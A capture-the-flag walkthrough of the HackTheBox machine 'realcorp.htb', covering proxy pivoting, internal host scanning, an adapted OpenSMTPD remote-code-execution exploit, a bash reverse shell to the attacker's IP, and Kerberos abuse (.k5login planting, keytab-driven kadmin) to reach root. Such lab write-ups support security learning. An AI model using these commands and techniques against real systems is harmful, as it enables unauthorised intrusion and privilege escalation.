Platform: HackTheBox
Difficult: Hard
Creator: polarbearer
Enumerating open ports:
$ nmap -Pn -sS --min-rate 5000 -n -p- --open 10.10.10.224 -oG allPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-16 13:42 -03
Nmap scan report for 10.10.10.224
Host is up (0.21s latency).
Not shown: 65498 filtered tcp ports (no-response), 32 filtered tcp ports (admin-prohibited), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
3128/tcp open squid-http
Nmap done: 1 IP address (1 host up) scanned in 26.88 seconds
Recognizing open ports:
$ nmap -Pn -sCV -p22,53,88,3128 -n 10.10.10.224 -oN portScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-16 13:45 -03
Nmap scan report for 10.10.10.224
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA)
| 256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_ 256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp open domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid:
|_ bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp open kerberos-sec MIT Kerberos (server time: 2024-03-16 16:45:51Z)
3128/tcp open http-proxy Squid http proxy 4.11
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.11
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.61 seconds
The Squid Proxy service is running on port 3128. We could first try to pass through this proxy to reach internal ports, turning it into an SSRF.
If we carefully analyze the output, we can identify four important aspects:
Now that we know the domain realcorp.htb, we can enumerate the subdomains using dnsenum.
dnsenum --dnsserver 10.10.10.224 -f /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --threads 50 realcorp.htb
When analyzing the subdomains, we find an internal network segment covering the network mask 10.197.243.0/24 to which we initially don't have access.
We also identify a subdomain called wpad.realcorp.htb.
What is WPAD?
Web Proxy Auto Discovery (WPAD) is a protocol that allows browsers to automatically apply proxy settings. This is achieved by locating a configuration file on the network called wpad.dat, which is generally provided by WPAD servers on the network. These servers are discovered on the network through DHCP or DNS, and even when these methods fail, Microsoft LLMNR and NBT-NS can be used.
In our case, being an internal server, we cannot access it directly. To try to access it, we'll use the Squid Proxy.
curl --proxy 'http://10.10.10.224:3128' http://wpad.realcorp.htb/wpad.dat
Apparently, authentication is required to use the Squid Proxy.
In some cases, the Squid Proxy may be configured to allow requests passing through the Proxy's localhost, bypassing authentication. Squid Proxy comes default with the rule http_access allow localhost in the configuration file squid.conf.
Taking this into account, we can try to use proxychains to make our requests pass first through the proxy, then through the localhost, and finally redirect to the destination.
The diagram would be something like this:
We update the ProxyChains configuration so that requests also pass through the Squid Proxy's localhost:
Now we can try to send our request to the WPAD server to see what happens:
proxychains4 -q curl -X GET http://wpad.realcorp.htb/wpad.dat
It still doesn't work. This may be due to a firewall rule configured on the WPAD server that prevents receiving requests from proxies not coming from the IP 10.197.243.77, which is the proxy server's IP.
Therefore, we add this IP to the proxychain's proxy list:
Now it works correctly:
proxychains4 -q curl -X GET http://wpad.realcorp.htb/wpad.dat
The proxy configuration performs some validations, one of which verifies that requests come from a specific network segment. Here we discover that there's a new network segment, 10.241.251.0/24.
Let's try to enumerate the hosts in this new network segment. To do this, we'll create a basic and simple bash script.
#!/bin/bash
# Function to scan ports on a host
scan_port() {
host=$1
port=$2
if proxychains4 -q bash -c "echo '' > /dev/tcp/$host/$port" 2>/dev/null; then
echo "[+] Port $port discovered on $host"
fi
}
# Scan ports on all hosts and specified ports
for host in $(seq 1 254); do
for port in 22 25 80 88 443 445 3128 8080 8081; do
scan_port "10.241.251.$host" $port &
done
done
# Wait for all scans to finish
wait
./hostFinder.sh
We discover the host 10.241.251.113, which seems to have port 25 open. Let's scan it with nmap.
$ proxychains4 -q nmap -Pn -sCVT -p25 10.241.251.113
We recognize that it's running OpenSMTPD version 2.0.0.
Consulting Searchsploit, we can find that OpenSMTPD is vulnerable to remote code execution in versions below 6.6.1, which applies in this case.
If we bring the exploit and analyze the code, we'll see that an email is being sent to root:
s.send(b'RCPT TO:<root>\r\n')
We don't know if root is a valid user who will read our email, but remember that when viewing the Squid Proxy authentication page, an email j.nakazawa@realcorp.htb was leaked. Let's try changing it in the code:
s.send(b'RCPT TO:<j.nakazawa@realcorp.htb>\r\n')
If we try the remote command execution, we'll see that we manage to execute commands on the victim machine.
If we try to send a shell with a typical one-liner, we'll get noticed that it doesn't work. In my case, I downloaded a bash reverse shell on the victim machine and then executed it.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.17/1234 0>&1"
If we look at the j.nakazawa directory, we'll find a configuration file with credentials at /home/j.nakazawa/.msmtprc:
When trying to use that password to authenticate with machine 10.10.10.224 via SSH, it'll tell us it's incorrect. But if we activate verbose mode for SSH, we can notice something:
gssapi-with-mic refers to an authentication method used in SSH that allows using GSSAPI as authentication. GSSAPI (Generic Security Services Application Program Interface) is an interface that allows applications, like SSH in this case, to use generic authentication services such as Kerberos.
Additionally, if we keep reading, we'll come across an error message indicating that it's looking for a Kerberos ticket to use in authentication.
This leads me to think that we should first create a ticket on behalf of the user j.nakazawa to be able to authenticate against the SSH service.
To do this, we must first set up our /etc/krb5.conf like this:
[libdefaults]
default_realm = REALCORP.HTB
[realms]
REALCORP.HTB = {
kdc = srv01.realcorp.htb
}
[domain_realm]
.REALCORP.HTB = REALCORP.HTB
REALCORP.HTB = REALCORP.HTB
Now we'll synchronize with the DC's clock, in this case 10.10.10.224:
$ ntpdate 10.10.10.224
And now we'll request the ticket from the KDC:
Now that we have the ticket created, let's try to connect via SSH.
When checking /etc/crontab for cron tasks, we find one that runs every minute:
This task runs a script located at /usr/local/bin/log_backup.sh with admin privileges:
This script uses rsyncz to move all contents from the directory /var/log/squid to the directory /home/admin and then saves a backup of the files access.log and cache.log in a .tar file:
The directory /var/log/squid has write permissions but not read permissions for the squid group, to which our user belongs. This allows us to write content into the directory but not read what's inside.
A good idea would be to create another folder called .ssh inside the squid folder where we can place an authorized_keys file containing our public key. However, the machine's author has intended for us to do it differently, so that method won't work.
Since the primary SSH authentication method is GSSAPI and it works through Kerberos, we can introduce the concept of .k5login files.
The .k5login file is a Kerberos configuration file that indicates which users are allowed to authenticate against a service. In this case, since we have a ticket for the principal j.nakazawa, it would be sufficient to add a .k5login file in the home directory of admin so that we can authenticate via SSH without providing a password, only with j.nakazawa's ticket.
echo 'j.nakazawa@REALCORP.HTB' > /var/log/squid/.k5login
Now we just have to wait for the CRON task to run.
We'll look for all files from / whose owner is the group admin:
A .keytab file is a type of file that contains pairs of Kerberos principals and their encrypted keys, which are derived from their passwords. One of the most common uses is to allow scripts to authenticate with Kerberos without human interaction.
Keytab files are a potential vulnerability point in a Kerberos environment, so the security of these files is critical to system security.
Kerberos provides us with a list of commands we can use in the system. Among them are kadmin, ksu, klist.
The ksu command is similar to sudo su, when we try to use it, it'll ask us for the root user's password, which we obviously don't have.
Having access to the krb5.keytab file, we can list all the principals with the klist command:
As we can see, there're several principals. Now we'll try to access kadmin, using the krb5.keytab and the principal kadmin/admin@REALCORP.HTB:
What we did here was use the addprinc command to add the root principal and assign it a password of our choice.
Now, when using ksu, we can use the password we assigned to authenticate as root and get a shell.